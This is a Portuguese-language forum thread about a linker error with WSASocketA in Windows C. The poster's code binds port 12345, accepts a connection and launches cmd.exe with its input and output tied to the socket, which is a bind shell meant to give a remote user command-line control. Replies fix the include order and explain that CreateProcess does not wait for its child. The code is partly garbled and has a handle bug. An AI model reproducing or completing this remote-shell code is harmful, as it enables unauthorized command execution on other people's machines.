[RESOLVIDO][C] Problemas em linkar ws2_32 para função WSASocketA

Saudações,

já estou até meio desesperado pq não consigo resolver este problema e já há uns 3 dias !!!

O negócio é o seguinte…
Tô estudando Win Sockets. Só que para o que eu toh precisando fazer eu preciso usar a função WSASocketA para criar o socket(ao inves da socket() ) e é ae que tá !!! não compila nem com reza braba!!

sempre dá o erro:

Mesmo eu colocando o -lws2_32 no comando do compilador (gcc q vem com o dev-cpp).
Toda a internet fala q essa função esta nessa lib !! mas eu adiciono ela e não resolve!! continua aparecendo o problema !!!
segue o comando de compilação q toh gerando:

e não importa onde eu coloque os -lws2_32 -lwsock32 naõ resolve nada !!!

segue o código q toh gerando…

[code]#include <stdio.h>
#include <winsock.h>
#include <windows.h>
#include <winsock2.h>
#include <unistd.h>
#include <stdlib.h>

int main(){
WSADATA wsaData;
WSAStartup(MAKEWORD(1, 1), &wsaData);
int new, sockfd;
struct sockaddr_in sin;
sockfd = WSASocketW(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
printf("() Configurando Conexão …\n");
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(12345);
printf("(
) Abrindo Porta …\n");
bind(sockfd, (struct sockaddr )&sin, sizeof(sin));
listen(sockfd, 5);
printf("(
) Aguardando Conexão…\n");
new = accept(sockfd, NULL, 0);
printf("() Conexão Estabelecida… \n");
int i;
printf("(
) Duplicando File Descriptors… \n");
STARTUPINFO novo;
PROCESS_INFORMATION proc;
ZeroMemory(&novo, sizeof(novo));
ZeroMemory(&proc, sizeof(proc));
novo.cb = sizeof(novo);
novo.hStdInput = novo.hStdOutput = novo.hStdError = sockfd;
novo.dwFlags = STARTF_USESTDHANDLES;
printf("() Executando Shell. \n");
if (!CreateProcess(“C:\windows\system32\cmd.exe”, “C:\windows\system32\cmd.exe”, NULL, NULL, TRUE ,/
NORMAL_PRIORITY_CLASS
/0 , NULL, NULL, &novo, &proc))
printf(“ERRO\n”);;
printf("FIM
*****\n");
return 0;

}

[/code]

SE alguem souber ae !!??

Você não poderia usar simplesmente WSASocket ? (Se bem que só recomendo usar essa API diretamente se for criar alguma coisa aberrante, como um “raw socket” para usar algum outro protocolo que não TCP/IP. Use a função “socket” mesmo.

thingol se eu usar a WSASocket muda o erro:
[Linker error] undefined reference to `WSASocket’

rsrsrs…

e eu realmente preciso q seja com a WSASocket !! ou WSASocketA ou WSASocketW… por causa do createProcess()… corrija-me se eu estiver errado mas acho q pra fazer o que eu toh tentando fazer nesse codigo ae eu preciso criar o socket com o WSASocket… pq soh com o socket() num funcionou nao…

Eu toh tentando disparar um cmd.exe e jogar o controle dele pro socket … em linux usa-se o socket e as funções dup2() e execl() mas em windows acho q eh assim q faz… e nao tah compilando !!!

Quando você inclui “windows.h”, ele já inclui “winsock.h”, não “winsock2.h”. Isso dá um pouco de confusão, eu concordo.

Que tal você incluir PRIMEIRAMENTE winsock2.h e DEPOIS windows.h ? Se não me engano, winsock2.h inclui windows.h quando necessário.

EXcelente thingol !!!

compilou… num acredito !!! rsrsrsrs… eu nao sabia q fazia diferença a ordem dos includes!!
brigadão mesmo cara …

Aqui… aproveitando da sua boa vontade… o código acima tah certo ?

pq agora q compilou ele num mandou o controle do cmd.exe pro socket nao… na verdade tah finalizando a aplicação… vc saberia o q tah acontecendo ??

e brigadão mesmo !!!

Claro que você não tinha como saber. Eu mesmo só fui descobrir isso há uns dois meses atrás, quando tive um problema semelhante. (“O diabo não é sábio porque é diabo; o diabo é sábio porque é velho.”)

CreateProcess não espera o processo retornar. Para você esperar o processo filho retornar, leia a documentação de CreateProcess para ver que outra API do Windows você tem de chamar para esperar o outro processo.

Process and Thread Functions